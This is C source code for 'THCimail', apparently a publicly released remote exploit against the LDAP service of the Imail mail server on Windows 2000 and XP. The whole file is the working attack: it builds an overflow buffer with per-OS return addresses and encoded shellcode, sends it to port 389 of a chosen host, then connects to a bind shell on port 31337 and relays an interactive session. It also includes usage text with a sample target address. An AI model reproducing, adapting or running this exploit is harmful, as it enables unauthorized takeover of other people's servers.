THCimail.c 6.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266
  1. /*****************************************************************************/
  2. /* THCimail 0.1 - Wind0wZ remote root exploit */
  3. /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
  4. /* THC PUBLIC SOURCE MATERIALS */
  5. /* */
  6. /* Bug was found by idefense or some idefense slaves ;) */
  7. /* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/
  8. /* */
  9. /* compile with MS Visual C++ : cl THCimail.c */
  10. /* */
  11. /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
  12. /* scut, stealth, FtR and Random */
  13. /*****************************************************************************/
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17. #include <winsock2.h>
  18. #pragma comment(lib, "ws2_32.lib")
  19. char *WIN2KEN = "\xc4\x2a\x02\x75";
  20. char *WIN2KPG = "\xc4\x2a\xf9\x74";
  21. char *WINXPSP1G = "\xfe\x63\xa1\x71";
  22. #define jumper "\xeb\x06\x4a\x43"
  23. char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";
  24. char shellcode[] =
  25. "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
  26. "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
  27. "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
  28. "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
  29. "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
  30. "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
  31. "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
  32. "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
  33. "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
  34. "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
  35. "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
  36. "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
  37. "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
  38. "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
  39. "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
  40. "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
  41. "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
  42. "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
  43. "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
  44. "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
  45. "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
  46. "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
  47. "\xda\x63\xe5\x70\x70\xda\x6f";
  48. void usage();
  49. void shell(int sock);
  50. int main(int argc, char *argv[])
  51. {
  52. unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;
  53. unsigned char *finalbuffer,*crapbuf1,*crapbuf2;
  54. unsigned int IMAIL6_7=60;
  55. unsigned int IMAIL_8=68;
  56. struct sockaddr_in mytcp;
  57. struct hostent * hp;
  58. WSADATA wsaData;
  59. printf("\nTHCimail v0.1 - Imail LDAP exploit\n");
  60. printf("tested on Imail 6-8\n");
  61. printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
  62. if(argc<4 || argc>4)
  63. usage();
  64. ver = (unsigned short)atoi(argv[3]);
  65. switch(ver)
  66. {
  67. case 0:
  68. IMAILVER = IMAIL6_7;
  69. break;
  70. case 1:
  71. IMAILVER = IMAIL_8;
  72. break;
  73. default:
  74. printf("\nYou entered an illegal version !\n\n");
  75. usage();
  76. exit(-1);
  77. }
  78. crapbuf1 = malloc(IMAILVER);
  79. memset(crapbuf1,'X',IMAILVER);
  80. printf("imailver = %d\n",IMAILVER);
  81. crapbuf2 = malloc(2220);
  82. memset(crapbuf2,'X',2220);
  83. finalbuffer = malloc(2650);
  84. memset(finalbuffer,0,2650);
  85. printf("\n[*] building buffer\n");
  86. strcat(finalbuffer,ldapshit);
  87. strcat(finalbuffer,crapbuf1);
  88. strcat(finalbuffer,jumper);
  89. os = (unsigned short)atoi(argv[2]);
  90. switch(os)
  91. {
  92. case 0:
  93. strcat(finalbuffer,WIN2KPG);
  94. break;
  95. case 1:
  96. strcat(finalbuffer,WIN2KPG);
  97. break;
  98. case 2:
  99. strcat(finalbuffer,WINXPSP1G);
  100. break;
  101. default:
  102. printf("\nYou entered an illegal OS !\n\n");
  103. usage();
  104. exit(-1);
  105. }
  106. strcat(finalbuffer,shellcode);
  107. strcat(finalbuffer,crapbuf2);
  108. if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
  109. {
  110. printf("WSAStartup failed !\n");
  111. exit(-1);
  112. }
  113. hp = gethostbyname(argv[1]);
  114. if (!hp){
  115. addr = inet_addr(argv[1]);
  116. }
  117. if ((!hp) && (addr == INADDR_NONE) )
  118. {
  119. printf("Unable to resolve %s\n",argv[1]);
  120. exit(-1);
  121. }
  122. sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  123. if (!sock)
  124. {
  125. printf("socket() error...\n");
  126. exit(-1);
  127. }
  128. if (hp != NULL)
  129. memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
  130. else
  131. mytcp.sin_addr.s_addr = addr;
  132. if (hp)
  133. mytcp.sin_family = hp->h_addrtype;
  134. else
  135. mytcp.sin_family = AF_INET;
  136. mytcp.sin_port=htons(389);
  137. printf("[*] connecting the target\n");
  138. rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
  139. if(rc==0)
  140. {
  141. send(sock,finalbuffer,2650,0);
  142. printf("[*] Exploit send successfully ! Sleeping a while ....\n");
  143. Sleep(1000);
  144. }
  145. else
  146. printf("\nCan't connect to ldap port!\n");
  147. if(rc==0)
  148. {
  149. printf("[*] Trying to get a shell\n\n");
  150. sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  151. mytcp.sin_port = htons(31337);
  152. rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
  153. if(rc!=0)
  154. {
  155. printf("can't connect to port 31337 ;( maybe firewalled ...\n");
  156. exit(-1);
  157. }
  158. shell(sock2);
  159. }
  160. shutdown(sock,1);
  161. closesocket(sock);
  162. free(crapbuf1);
  163. free(crapbuf2);
  164. free(finalbuffer);
  165. exit(0);
  166. }
  167. void usage()
  168. {
  169. unsigned int a;
  170. printf("\nUsage: <Host> <OS> <Imail Version>\n");
  171. printf("Sample: THCimail 194.44.55.56 0 1\n\n");
  172. printf("OS:\n");
  173. printf("0 - Windows 2000 Server english all service packs\n");
  174. printf("1 - Windows 2000 Professional german\n");
  175. printf("2 - Windows XP SP1 german\n\n");
  176. printf("Imail Version:\n");
  177. printf("0 - Imail 6+7\n");
  178. printf("1 - Imail 8\n");
  179. exit(0);
  180. }
  181. void shell(int sock)
  182. {
  183. int l;
  184. char buf[1024];
  185. struct timeval time;
  186. unsigned long ul[2];
  187. time.tv_sec = 1;
  188. time.tv_usec = 0;
  189. while (1)
  190. {
  191. ul[0] = 1;
  192. ul[1] = sock;
  193. l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  194. if(l == 1)
  195. {
  196. l = recv (sock, buf, sizeof (buf), 0);
  197. if (l <= 0)
  198. {
  199. printf ("bye bye...\n");
  200. return;
  201. }
  202. l = write (1, buf, l);
  203. if (l <= 0)
  204. {
  205. printf ("bye bye...\n");
  206. return;
  207. }
  208. }
  209. else
  210. {
  211. l = read (0, buf, sizeof (buf));
  212. if (l <= 0)
  213. {
  214. printf("bye bye...\n");
  215. return;
  216. }
  217. l = send(sock, buf, l, 0);
  218. if (l <= 0)
  219. {
  220. printf("bye bye...\n");
  221. return;
  222. }
  223. }
  224. }
  225. }